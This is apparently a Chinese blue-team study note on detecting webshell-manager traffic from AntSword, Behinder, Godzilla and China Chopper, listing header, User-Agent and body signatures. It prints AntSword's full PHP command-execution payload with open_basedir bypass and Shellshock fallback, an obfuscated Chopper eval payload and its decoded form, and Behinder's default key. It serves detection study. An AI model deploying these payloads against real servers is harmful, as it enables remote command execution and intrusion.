属于是 hvv 蓝队面试研判必问的了(
还是记一下笔记做一下学习吧。
笔记很简陋,内容也不是很硬核,只是做一个备忘吧,算不上技术文章(
蚁剑
本人最常用的,从刚刚接触 ctf 的 web 题就开始用,今天也是难得从蓝队应急响应的视角去分析一下流量特征
蚁剑在手,纵横无忧
特征就是每个请求体都存在
@ini_set(“display_errors”, “0”);@set_time_limit(0)
的开头,并且后面存在 base64 字符
蚁剑的 shell 如下
bz=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.ed6186882e87";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "3198d"."a6ced";
echo @asenc($output);
echo "9a9"."babb";
}
ob_start();
try {
$p=base64_decode(substr($_POST["ec66ed645658bf"],2));
$s=base64_decode(substr($_POST["t02fccbf7aa98"],2));
$envstr=@base64_decode(substr($_POST["xdb7635a2818f4"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)) {
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f) {
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)) {
$d=array();
} else {
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
}
;
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c) {
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')) {
@system($c,$ret);
} elseif(fe('passthru')) {
@passthru($c,$ret);
} elseif(fe('shell_exec')) {
print(@shell_exec($c));
} elseif(fe('exec')) {
@exec($c,$o,$ret);
print(join("
",$o));
} elseif(fe('popen')) {
$fp=@popen($c,'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
} elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])) {
print(@fgets($io[1],2048));
}
while(!@feof($io[2])) {
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif(fe('antsystem')) {
@antsystem($c);
} elseif(runshellshock($d, $c)) {
return $ret;
} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
冰蝎
冰蝎2.0
使用 AES 加密 + Base64 编码,AES 使用动态密钥对通信进行加密。请求时内置了十几个 User-Agent 头,每次请求时会随机选择其中的一个。因此,当发现同一个 IP 的不同请求但是请求头中的 User-Agent 在频繁变换,就可能是冰蝎。
另一强特征:
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
冰蝎3.0
Accept&Cache-Control;默认设置:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8
content-type固定为application/octet-stream (强特征)
使用 AES加密 + base64 编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为 webshell 连接密码的 MD5 的前 16 位,默认连接密码是 “rebeyond”(即密钥是md5(‘rebeyond’)[0:16]=e45e329feb5d925b)。
同样有 2.0 的动态 UA 头
3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。
冰蝎4.0
哥斯拉
ua头(弱特征)
accept字段:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2(弱特征)
cookie。请求包的Cookie中有一个非常致命的特征,分号;(强特征)
请求体特征 (较强特征):比较大的数据包,base64编码
响应体特征 (强特征):如果之前的请求体采用base64编码,响应体返回的也是base64编码Cache-Control: no-store, no-cache, must-revalidate
菜刀
请求包中 ua 头为百度爬虫,火狐
请求实体中存在eval,base64 等特征字符
请求实体中传递的 payload 为 base64 编码,并且存在固定的 base64 编码
菜刀的 shell 如下:
pass = array_map(
"ass"."ert",
array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"
)
);
解码一下
//display_errors设为0,php不会显示错误信息
@ini_set("display_errors","0");
//设置脚本的最大执行时间为无限制
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
//如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
@set_magic_quotes_runtime(0);
};
echo("X@Y");
//获取当前文件所在目录的路径
$D = dirname(__FILE__);
$R = "{$D}\t";
//如果当前路径的第一字符不是 / 则表明是 Windows环境
if (substr($D, 0, 1) != "/") {
//循环遍历从A到Z的所有字母,查找其中哪个是有效的驱动器(盘符),并将它们加到$R中
foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持,则获取当前有效用户的用户信息,否则返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//获取当前php的运行用户
$usr = ($u) ? $u['name'] : @get_current_user();
//添加操作系统相关信息
$R. = php_uname();
$R. = "({$usr})";
print $R;;
echo("X@Y");
//结束脚本执行
die();
